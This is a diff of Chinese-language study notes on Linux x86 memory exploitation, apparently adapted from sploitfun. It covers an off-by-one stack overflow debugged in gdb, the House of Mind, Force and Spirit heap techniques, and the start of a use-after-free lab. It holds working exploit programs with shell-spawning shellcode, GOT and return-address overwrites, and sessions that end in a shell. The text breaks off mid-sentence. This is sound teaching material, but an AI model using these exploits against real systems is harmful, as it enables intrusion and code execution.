arg=0xbffff772 "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...) at off_by_one.c:13 +13 strcpy(buf, arg); /* [2] */ +gdb-peda$ x buf +0xbffff470: 0xb7fff938 +gdb-peda$ c +Continuing. + +Program received signal SIGSEGV, Segmentation fault. +[----------------------------------registers-----------------------------------] +EAX: 0xbffff470 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...) +EBX: 0xb7fcd000 --> 0x1a9da8 +ECX: 0xbffff870 --> 0x58006225 ('%b') +EDX: 0xbffff56e --> 0xf5006225 +ESI: 0x0 +EDI: 0x0 +EBP: 0x6e414152 ('RAAn') +ESP: 0xbffff508 ("AoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b") +EIP: 0x41534141 ('AASA') +EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] +Invalid $PC address: 0x41534141 +[------------------------------------stack-------------------------------------] + ... +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +Stopped reason: SIGSEGV +0x41534141 in ?? () +``` + +然后 esp - buf 找到 ebp 位置之前 4 字节就是 eip 开始位置. + +```python +>>> 0xbffff508-0xbffff470 +152 +``` +`eip`这次运行应该在 152 的地方, 但是测试完发现是 152-4 的地方, 不同于`sploitfun`写的. + +加载环境变量里面的 shellcode, 测试一下这个计算. + +```shell +gdb-peda$ r $(python -c 'print "A"*148 + "\x40\xf8\xff\xbf" + "C" * (256-148-4)') +Starting program: /home/Sn0rt/lab/off_by_one2 $(python -c 'print "A"*148 + "\x40\xf8\xff\xbf" + "C" * (256-148-4)') +[----------------------------------registers-----------------------------------] +EAX: 0xbffff772 ('A' , "@370円377円277円", 'C' ...) +EBX: 0xb7fcd000 --> 0x1a9da8 +ECX: 0x400008c2 +EDX: 0x2 +ESI: 0x0 +EDI: 0x0 +EBP: 0xbffff570 --> 0xbffff57c --> 0xbffff588 --> 0x0 +ESP: 0xbffff468 --> 0x0 +EIP: 0x80484e9 (: mov eax,DWORD PTR [ebp+0x8]) +EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x80484e0 : push ebp + 0x80484e1 : mov ebp,esp + 0x80484e3 : sub esp,0x108 +=> 0x80484e9 : mov eax,DWORD PTR [ebp+0x8] + 0x80484ec : mov DWORD PTR [esp+0x4],eax + 0x80484f0 : lea eax,[ebp-0x100] + 0x80484f6 : mov DWORD PTR [esp],eax + 0x80484f9 : call 0x8048380 +[------------------------------------stack-------------------------------------] +... +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value + +Breakpoint 1, bar (arg=0xbffff772 'A' , "@370円377円277円", 'C' ...) at off_by_one.c:13 +13 strcpy(buf, arg); /* [2] */ +gdb-peda$ c +Continuing. +process 7248 is executing new program: /bin/bash +Error in re-setting breakpoint 1: Function "bar" not defined. +sh-4.3$ +``` +看见成功了. + +# doubt + +* 我没有打开地址随机化, 这个 gdb 调试确认 offset 时候得出来的值都不同, 很奇怪. +* 还有`sploitfun`介绍用计算的方法, 我操作存在些问题 (可能是我没有搞懂), 我用`foo`的`esp`减去`buf`的地址是`foo`的`esp`在`buf`里面的 offset, 如果哪位知道可以告诉我! + +### reference + +[^origin]: [sploitfun](https://sploitfun.wordpress.com/2015/06/07/off-by-one-vulnerability-stack-based-2/) diff --git a/chapter3/README.md b/chapter3/README.md new file mode 100644 index 0000000..10df861 --- /dev/null +++ b/chapter3/README.md @@ -0,0 +1 @@ +# 堆安全 diff --git a/chapter3/chapter_heap.tex b/chapter3/chapter_heap.tex deleted file mode 100644 index 52413e9..0000000 --- a/chapter3/chapter_heap.tex +++ /dev/null @@ -1,16 +0,0 @@ -\chapter{heap} - -这个阶段可能要花更多的时间了,堆上面的安全一直是个相对高级的话题(windows下也是如 -此),在这个阶段讲要学习堆区域的bug. - -\section{overflow using unlink} -\footnote{\url{https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/}}. - -\section{overwrite using malloc} -\footnote{\url{https://sploitfun.wordpress.com/2015/03/04/heap-overflow-using-malloc-maleficarum/}}. - -\section{off by one} -\footnote{\url{https://sploitfun.wordpress.com/2015/06/09/off-by-one-vulnerability-heap-based}}. - -\section{UAF(use after free)} -\footnote{\url{https://sploitfun.wordpress.com/2015/06/16/use-after-free/}}. diff --git a/chapter3/heap-overflow-uisng-malloc-maleficarum.md b/chapter3/heap-overflow-uisng-malloc-maleficarum.md new file mode 100644 index 0000000..43155f8 --- /dev/null +++ b/chapter3/heap-overflow-uisng-malloc-maleficarum.md @@ -0,0 +1,586 @@ +重要: +> 本文参考[^sploitfun]和[MallocMaleficarum](../media/attach/MallocMaleficarum.Txt),编译时候没有使用`ASLR`,`NX`,`RELRO`安全机制。 + +自 2004 后,`glibc malloc` GOT 获得加固,`unlink`技术被淘汰。但是很快在 2005 年,`Phantasmal Phatasmagoria` 带来了一系列针对堆一处利用的技术。 + +> +* The House of Prime:在调用函数 malloc 后,要求两个释放的堆块包含攻击者可控的 size 字段。 +* The House of Mind:要求能够操作程序反复分配新的内存。 +* The House of Force:要求能够重写 top chunk,并且存在一个可控 size 的 malloc 函数,最后还需要再调用另一个 malloc 函数。 +* The House of Lore:不适用于我们的例程。 +* The House of Spirit:假设攻击者可以控制一个释放块的指针,但是这个技术还不能使用。 + +# House of Mind + +在这个技术里面攻击者戏使用自己构造的`arena`去戏弄`malloc glibc`。假的`arena` 以 unsorted bin 的 fd 是 free - 12 的 got 入口地址,因此漏洞程序在 free chunk 时 `free()` 的 got 入口被 shellcode 地址覆盖后,这时 free 被调 pbzip2 用 shellcode 就会被执行! + +> 不是所有堆溢出都能用这个技术,下面是能应用`house of mind`先决条件: + +需要一些列 malloc 的调用直到一块内存的地址对齐到 HEAP_MAX_SIZE 的整数倍,这样才能得到一块有攻击者控制的内存。 + +假冒的`help_info` 结构体在这内存区域被发现。伪造的`heap_info`的`arena`指针 ar_ptr 将会指向伪造的`arena`. + +因此伪造的`arena`和伪造的`heap_info`的内存区域都会被攻击者控制。 + +chunk 的 size 域(和它的 arena 指针 - prereq 1) 被攻击者控制应该被 free。 + +chunk 相邻的 free chunk 前面不该是 top chunk. + +漏洞程序: 这个程序满足上述需求。 + +```c +/* vuln.c + House of Mind vulnerable program + */ +#include +#include + +int main (void) { + char *ptr = malloc(1024); /* First allocated chunk */ + char *ptr2; /* Second chunk/Last but one chunk */ + char *ptr3; /* Last chunk */ + int heap = (int)ptr & 0xFFF00000; + _Bool found = 0; + int i = 2; + + for (i = 2; i < 1024; i++) { + /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */ + /* 0x08100000 is the place where fake heap_info structure is found. */ + [1]if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \ + (heap + 0x100000))) { + printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2); + found = 1; + break; + } + } + [2]ptr3 = malloc(1024); /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */ + /* User Input. */ + [3]fread (ptr, 1024 * 1024, 1, stdin); + + [4]free(ptr2); /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */ + [5]free(ptr3); /* Shell code execution. */ + return(0); /* Bye */ +} +``` + +上述程序的堆内存布局: + + + +标号 3 是发生堆溢出的位置。 + +用户输入被会被存储到 chunk1 的内存指针 大小为 1M 的内存。 + +因此为了成功利用堆溢出,攻击者提高如下的用户输入(区分序列): + +* 假 arean +* 填充 +* 假 heap_info +* shellcode + +exp 程序,这个程序生成攻击者的输入数据: + +```c +/* exp.c +Program to generate attacker data. +Command: + #./exp> file +*/ +#include + +#define BIN1 0xb7fd8430 + +char scode[] = +/* Shellcode to execute linux command "id". Size - 72 bytes. */ +"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e" +"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f" +"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10" +"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26" +"\x5e\x9e\x39\xcb\xbf\x04\xea\x42"; + +char ret_str[4] = "\x00\x00\x00\x00"; + +void convert_endianess(int arg) +{ + int i=0; + ret_str[3] = (arg & 0xFF000000)>> 24; + ret_str[2] = (arg & 0x00FF0000)>> 16; + ret_str[1] = (arg & 0x0000FF00)>> 8; + ret_str[0] = (arg & 0x000000FF)>> 0; +} +int main() { + int i=0,j=0; + + fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */ + fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */ + fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */ + fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */ + /* Fake Arena. */ + fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */ + fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */ + for(i=0;i<10;i++) + fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */ + fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */ + fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */ + for(i=0;i<127;i++) { + convert_endianess(BIN1+(i*8)); + if(i == 119) { + fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */ + fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */ + } else if(i==0) { + fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */ + fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */ + } + else { + fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */ + fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */ + } + } + for(i=0;i<4;i++) { + fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */ + } + fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */ + fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */ + fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */ + fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */ + for(i=0;i<234;i++) { + fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */ + } + for(i=0;i<722;i++) { + if(i==721) { + /* Chunk 724 contains the shellcode. */ + fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size - Jmp 24 bytes */ + fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */ + fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */ + fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */ + fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */ + fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */ + fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \ + "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout); /* NOPS */ + fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */ + for(j=0;j<230;j++) + fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */ + continue; + } else { + fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */ + fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */ + } + if(i==720) { + for(j=0;j<90;j++) + fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */ + fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */ + for(j=0;j<165;j++) + fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */ + } else { + for(j=0;j<256;j++) + fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */ + } + } + return 0; +} +``` + +使用构造的数据输入后的漏洞程序堆空间: + + + +随着攻击者生成的数据被输入,当标号 4 被执行时 glibc malloc 做了如下的: + +* 通过调用 arena_for_chunk 宏来恢复正在释放的 chunk 的 arena。 + +1. `arena_for_chunk`: 如果 NON_MAIN_ARENA (N) bit 没有被置位,会返回 main arena,如果设置了,则通过将块地址与 HEAP_MAX_SIZE 的倍数对齐来访问对应的 heap_info 结构。 + +然后返回获得的 heap_info 结构体的 arena 指针。 + +在我们的例子里面,NON_MIAN_ARENA 位被攻击者设置,因此获得被释放的 chunk 的 heap_info 结构体。 + +攻击者也将以这样的方式覆写(获得的 heap_info 结构的)arena 指针,即它指向 fake arena,即 heap_info 的 ar_ptr = fake arena 的基地址(即 0x0804a018)。 + +使用 arena 指针和 chunk 地址作为参数调用_int_free. 在例子中,arena 指针指向伪造的 arena,因此假 arena 和 chunk 地址作为参数传递给_int_free。 + +假 arena 的构造:以下是需要被攻击者覆写的假 arena 的必填字段: + +mutex - 应该是无锁状态 +bins - unsorted bin 的 fd 应该包含 free - 12 的 got 的地址 + +顶部地址不应该等于被 free 的 chunk 地址。 + +顶部地址应该大于 next chunk 的地址。 + +系统内存 - 内存应该大于 next chunk 的 size。 + +> _int_free(): + +* 如果 chunk 没有映射,则获得锁,在我们的例子里面 chunk 没有被映射所以假的 arena 互斥锁获取成功。 + +1. 合并: + +如果发现前面的 chunk 是 free 的,则像后合并;后面的 chunk 是 free 的,则向前合并。在我们的例子中前面的 chunk 是被分配的出去的,所以不能被向后合并;后面的 chunk 状态也是 allocated 因此不能被向前合并。 + +* 当前的 free chunk 在 unsorted bin. + +在我们的案例中,fake arena 的 unsorted bin 的 fd 包含 free 的 GOT 的地址 - 12,它被复制到'fwd'。 + +之后,当前被释放的 chunk 的地址被复制到`fwd->bk`. + +bk 是位于 malloc_chunk 偏移 12 的地方,因此 12 被加到这个 fwd 的值上也就是说 free-12+12 + +因此现在 free 的 got 入口地址被修改成包含当前的 free 状态的 chunk 的地址。 + +自攻击者放置他的 shellcode 在当前 free 状态的 chunk,然后不久 free 被调用时候攻击者的 shellcode 被执行。 + +攻击者以构造的数据做输入执行存在的漏洞的程序 shellcode 被执行如下: + +```shell +Sn0rt@warzone:~$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=~/workspace/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=~/workspace/glibc/glibc-inst2.20/lib/ld-linux.so.2 +Sn0rt@warzone:~$ gcc -g -o exp exp.c +Sn0rt@warzone:~$ ./exp> file +Sn0rt@warzone:~$ ./vuln < file +ptr found at 0x804a008 +good heap allignment found on malloc() 724 (0x81002a0) +uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare) +``` + +保护: 如今,house of mind 技术自`glibc malloc` GOT 加固后而失效。 + +下面是 glibc 为保护 house-of-mind 利用堆溢出增加的检查: + +被破坏的 chunk:如果`glibc malloc`没有抛出 chunk 被破坏这样的错误,那么 unsotred bin 的第一个 chunk 的 bk 指针应该指向 unsorted bin. + +```c + if (__glibc_unlikely (fwd->bk != bck)) + { + errstr = "free(): corrupted unsorted chunks"; + goto errout; + } +``` + +# House of Force + +在这种技术中,攻击者滥用 top chunk size 来戏弄 'glibc malloc' 使用 top chunk 处理非常大的内存请求(大于堆系统内存大小)。 + +现在当一个新的 malloc 请求参数,free 的 GOT 条目将被覆写为 shellcode 地址。 + +因此自现在起无论何时 free() 被调用,shellcode 将会被执行。 + +先决条件:成功应用 house of force 需要三个 malloc 调用如下: + +* Malloc 1: 攻击者应该可以控制 top chunk 的 size,因此,堆溢出应该可能在物理上位于 top chunk 之前的这个分配的块上。 +* Malloc 2: 攻击者应该能够控制这个 malloc 请求的大小。 +* Malloc 3: 用户输入应复制到这个分配的 chunk。 + +漏洞程序: 此程序满足上述先决条件. + +```c +/* +House of force vulnerable program. +*/ +#include +#include +#include + +int main(int argc, char *argv[]) +{ + char *buf1, *buf2, *buf3; + if (argc != 4) { + printf("Usage Error\n"); + return; + } + [1]buf1 = malloc(256); + [2]strcpy(buf1, argv[1]); /* Prereq 1 */ + [3]buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */ + [4]buf3 = malloc(256); /* Prereq 3 */ + [5]strcpy(buf3, argv[3]); /* Prereq 3 */ + + [6]free(buf3); + free(buf2); + free(buf1); + return 0; +} +``` + +上述漏洞程序的 heap 内存图示: + + + +漏洞程序的 line[2] 时发生堆溢出的地方,因此想要成功利用堆溢出,攻击者需要提供如下名利行参数: + +argv[1] – shellcode + 填充 + top chunk 的 size 被复制到首个 malloc chunk。 +argv[2] – size 参数到第二个 malloc chunk。 +argv[3] – 用户输入被复制到第三个 malloc chunk。 + + +## exploit + +利用程序: + +exploit program: + +```c +/* Program to exploit executable 'vuln' using hof technique. + */ +#include +#include +#include + +#define VULNERABLE "./vuln" +#define FREE_ADDRESS 0x08049858-0x8 +#define MALLOC_SIZE "0xFFFFF744" +#define BUF3_USER_INP "\x08\xa0\x04\x08" + +/* Spawn a shell. Size - 25 bytes. */ +char scode[] = + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; + +int main( void ) +{ + int i; + char * p; + char argv1[ 265 ]; + char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL }; + + strcpy(argv1,scode); + for(i=25;i<260;i++) + argv1[i] = 'A'; + + strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */ + argv[264] = ''; /* Terminating NULL character */ + + /* Execution of the vulnerable program */ + execve( argv[0], argv, NULL ); + return( -1 ); +} +``` + +一旦攻击者的命令行参数被复制到堆中后的漏洞程序的堆内存布局: + + + +伴随着攻击者参数发生如下: + +标号 2 覆写 top chunk 的 size: + +> 攻击者参数(argv[1] - shellcode + pad + 0xFFFFFFFF)被复制到 buf1 的堆,但是参数 argv[1] 大于 256,所以 top chunk 的 size 会被覆写为 0xFFFFFFFF。 + +标号 3 使用 top chunk 分配非常大的块: + +> 非常大的块分配请求的目的是在分配之后使新的 top chunk 应该位于 free 的 GOT 条目之前 8 个字节。 + +所以多个 malloc 的请求(标号 4)将会帮助我么覆写 free 的 got 条目。 + +攻击者参数(argv [2] - 0xFFFFF744)作为 size 参数传递给第二个 malloc 调用(标号[3])。 + +这个 size 参数通过下面公式计算的: + + size = ((free-8)-top) + +位置 + +> free 是 "vlun 中 free 的 GOT 的条目" 也就是说 free = 0x08049858. + +> top 是 "当前的 top chunk (标号 1 后的第一个 malloc)"也就是说 top = 0x0804a108. + +因此 size = ((0x8049858-0x8)-0x804a108) = -8B8 = 0xFFFFF748 + +当 size = 0xFFFFF748 是我们放置新 top chunk free 的 GOT 条目之前的 8 bytes 的实现方式展示如下: + +> (0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8) + +但是当攻击者通过一个 size 参数 0xFFFFF748,glibc malloc 换装这 size 变成可用的 size 0xFFFFF750,所以现在新的 top chunk 的 size 会位于 0x8049858 而不是 0x8049850. + +所以作为 0xFFFFF748 的替代,攻击者应该通过 0xFFFFF74 为 size 参数,这样它会被转化为一个如我们所需要内部可用的 size 0xFFFFF748。 + +在标号 4: + +> 现在自标号 [3] top chunk 指向 0x8049850,一个 256 字节的内存分配的请求将会使 glibc malloc 返回 0x8049858 被复制到 buf3. + +在标号[5]: + +> 复制 buf1 的地址到 buf3,导致 GOT 被覆盖,所以在 line[6]掉用 free 会导致任意 shellcode 执行! + +用攻击者命令行参数正在的执行的漏洞程序执行 shellcode 如下所示: + +```shell +Sn0rt@warzone:~$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2 +Sn0rt@warzone:~$ gcc -g -o exp exp.c +Sn0rt@warzone:~$ ./exp +$ ls +cmd exp exp.c vuln vuln.c +$ exit +``` + +保护: 直到目前,还没有增加这个技术的保护技术,也就说这个技术可以帮助我们在最新版本的 glibc 上利用堆溢出。🙂 + +# House of Spirit + +这个技术,攻击者戏弄 glibc malloc 返回的 chunk 的地址位于 stack 段,而不是堆段。这样就允许攻击者覆盖存储在栈上的返回地址。 + +先决条件:不是所有堆溢出都能适用 house of spirit,下面是能成功应用它的先决条件。 + +* 一个缓冲区溢出覆盖一个包含 malloc 返回的 chunk 地址的变量。 +* 上述 chunk 应该是 free 状态,攻击者应该可以控制这个 chunk 的 size 字段,并把它改成等于下一个分配的 chunk 的 size 值。 +* Malloc 一个 chunk。 +* 用户输入可以被复制到上述的 malloc 的 chunk。 + +漏洞程序:这个程序看上去满足上述需求。 + +```c +/* vuln.c +House of Spirit vulnerable program +*/ +#include +#include +#include + +void fvuln(char *str1, int age) +{ + char *ptr1, name[44]; + int local_age; + char *ptr2; + [1]local_age = age; /* Prereq 2 */ + + [2]ptr1 = (char *) malloc(256); + printf("\nPTR1 = [ %p ]", ptr1); + [3]strcpy(name, str1); /* Prereq 1 */ + printf("\nPTR1 = [ %p ]\n", ptr1); + [4]free(ptr1); /* Prereq 2 */ + + [5]ptr2 = (char *) malloc(40); /* Prereq 3 */ + [6]snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); /* Prereq 4 */ + printf("\n%s\n", ptr2); +} + +int main(int argc, char *argv[]) +{ + int i=0; + int stud_class[10]; /* Required since nextchunk size should lie in between 8 and arena's system_mem. */ + for(i=0;i<10;i++) + [7]stud_class[i] = 10; + if (argc == 3) + fvuln(argv[1], 25); + return 0; +} +``` +上述漏洞程序的栈布局 + + + +漏洞程序的标号[3]处发生了缓冲区溢出,因此为了成功利用漏洞程序,攻击者需要给出以下的命令行参数: + +argv[1] = Shell Code + Stack Address + Chunk size + +Exp: + +```c +/* Program to exploit executable 'vuln' using hos technique. + */ +#include +#include +#include + +#define VULNERABLE "./vuln" + +/* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */ +char scode[] = + "\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90"; + +int main( void ) +{ + int i; + char * p; + char argv1[54]; + char * argv[] = { VULNERABLE, argv1, NULL }; + + strcpy(argv1,scode); + + /* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */ + strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30"); + + argv[53] = ''; + + /* Execution of the vulnerable program */ + execve( argv[0], argv, NULL ); + return( -1 ); +} +``` + +上述程序在攻击者参数下的栈的布局 + + + + +随着攻击参数让我们看一下返回地址是如何被覆盖的: + +Line[3]: 缓冲区溢出 + +这里攻击者输入 argv[1] 被复制到名为 name 的缓冲区里面。 + +因为攻击者输入的数据大于 44,变量的 ptr1 和 local_age 分别被栈地址和 chunk size 覆盖。 + +栈地址 - 0xbffffdf0 - 攻击者戏弄 glibc malloc 返回这个地址当 line[5]被执行时。 + +chunk size - 0x30 这个 chunk size 被用来当 line[4]被执行时戏弄 glibc malloc。 + +Line[4]: 把栈区域加到 glibc malloc 的 fast bin。 + +free() 调用 _int_free(). 现在缓冲区溢出后 ptr1 = 0xbffffdf0 (而不是 0x804aa08). + +以 free()的一个参数覆盖 ptr1 + +Overwritten ptr1 is passed as an argument to free(). + +这欺骗 glibc malloc 来 free 一个位于栈空间的内存区域。 + +这个栈区域的 size 会获释放,攻击者会用 0x30 覆盖位于 ptr1-8+4 + +因此`glibc malloc`对待这个 chunk 就像 fast chunk 一样(因为 48 < 64),感兴趣的 free 状态的 chunk 位于 索引 4 的 fastbinlist 的前端。. + +Line[5]: 恢复栈区域(被添加在 line[4]) + +对 malloc 的 40 字节请求会被`checked_request2size()`转化为 48 字节。 + +因为可用 size 48 是属于 fast chunk 的,它的对应的 fast binlist(位于 4 号索引)被恢复。 + +fast bins 的第一个 chunk 被移除并返回给用户。 + +第一个 chunk 无所谓,但是栈区域在 line[4]执行期间被增加了。 + +Line[6]: 覆盖返回地址 + +复制攻击参数 argv[1] 到位置开始于 0xbffffdf0 的栈区域(glibc malloc 返回的)。 + +argv[1]前 16 字节是 +\xeb\x0e – 14 字节转跳 +\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 – 填充 +\xb8\xfd\xff\xbf – 用这个值覆盖存储在 stack 上的返回地址。 + +因此当 fvuln 被执行,eip 将会是 0xbffffdb8 - 这个位置包含转跳指令接着 shellcode 会 spwan 一个 shell! + +```shell +Sn0rt@warzone:~$ gcc -g -fno-stack-protector -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=~/workspace/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=~/workspace/glibc/glibc-inst2.20/lib/ld-linux.so.2 +Sn0rt@warzone:~$ gcc -g -o exp exp.c +Sn0rt@warzone:~$ ./exp + +PTR1 = [ 0x804a008 ] +PTR1 = [ 0xbffffdf0 ] + +AAAAAAAAAA����1�Ph//shh/bin��P��S� +$ ls +cmd exp exp.c print vuln vuln.c +$ exit +``` + +保护: 目前为止还没有增加保护技术,也就说这个技术可以帮助我们在最新版本的 glibc 上利用堆溢出。 + +# House of Prime + +WIP + +# House of Lore + +WIP + + +### reference + +[^sploitfun]: [sploitfun](https://sploitfun.wordpress.com/2015/03/04/heap-overflow-using-malloc-maleficarum/) diff --git a/chapter3/linux-x86-UAF.md b/chapter3/linux-x86-UAF.md new file mode 100644 index 0000000..a5b676c --- /dev/null +++ b/chapter3/linux-x86-UAF.md @@ -0,0 +1,215 @@ +# 0x00 prepare + +> What is use-after-free (UAF)? + +继续使用已经被 free 的堆空间可能会导致任意代码执行,这样的 bug 称为 UFA (use after free)。 + +# 0x10 lab + +存在漏洞的示例程序 + +```c +#include +#include +#include +#define BUFSIZE1 1020 +#define BUFSIZE2 ((BUFSIZE1/2) - 4) + +int main(int argc, char **argv) { + + char* name = malloc(12); /* [1] */ + char* details = malloc(12); /* [2] */ + strncpy(name, argv[1], 12-1); /* [3] */ + free(details); /* [4] */ + free(name); /* [5] */ + printf("Welcome %s\n",name); /* [6] */ + fflush(stdout); + + char* tmp = (char *) malloc(12); /* [7] */ + char* p1 = (char *) malloc(BUFSIZE1); /* [8] */ + char* p2 = (char *) malloc(BUFSIZE1); /* [9] */ + free(p2); /* [10] */ + char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */ + char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */ + + printf("Enter your region\n"); + fflush(stdout); + read(0,p2,BUFSIZE1-1); /* [13] */ + printf("Region:%s\n",p2); + free(p1); /* [14] */ +} +``` + +编译指令 + +```shell +# echo 2> /proc/sys/kernel/randomize_va_space +$ gcc -o vuln vuln.c +$ sudo chown root vuln +$ sudo chgrp root vuln +$ sudo chmod +s vuln +``` + +重要:不同于之前,`ASLR`在这里打开了,所以在这里我么需要利用信息泄漏和暴力破解绕过来`ASLR`。 + +上面存在 UAF 漏洞的代码存在于标号[6]与标号[13],他们各自的 free 在[5]和[10],但是他们的指针即使在被 free 过后还被使用。[6]处的 UAF 导致信息泄露,[13]处导致任意代码执行。 + +## 0x11 analysis + +> 什么是信息泄漏? 攻击者如何撬动它? + +在我们的漏洞代码(标号 6)中,信息泄漏被用来获取堆地址,这个被泄漏堆地址帮助攻击者更加容易的计算 ASLR 后堆地址的基地址。 +要理解对地址是如何被泄漏的,首先要先理解漏洞代码的前面一部分。 + +* 行 [1] 分配 16 字节的堆空间给 name. +* 行 [2] 分配 16 字节的堆空间给 details. +* 行 [3] 复制程序的参数 1 (argv[1]) 到 name 的内存区域。 +* 行 [4] 和 [5] 释放 name 和 details 内存区域给 glibc 的 malloc。 +* 行 [6] 的 `printf()`在 name 被释放后使用它,这回导致地址泄漏。 + +根据之前的 ptmalloc2,知道 name 和 details 对应的 chunk 的指针是 fast chunk 类型的,当这些 fast chunk 被释放时候他们会被存储进 fast bins 的索引 0.也知道每个 fast bin 包含一个 free chunk 的单链表。因此如每一个我们例子,fast bin 的 index[0] 的单链表如下所示意: + +`main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL` + +由于这种单链接,'name'的前四个字节包含'details_chunk'地址。 因此,当 name 被打印时,details_chunk 地址被首先打印。从堆布局,我们知道'details chunk'位于与堆基地址偏移 0x10 处。 因此从泄漏的堆地址减去 0x10,给我们堆基地址! + +> 如何实现任意代码执行? + +现在已经获得了随机化的堆段的基地址,通过理解易受攻击的代码的后半部分来实现任意代码的执行。 + +* 行 [7] 分配 16 字节的内存区域给 tmp. +* 行 [8] 分配 1024 字节的内存区域给 p1. +* 行 [9] 分配 1024 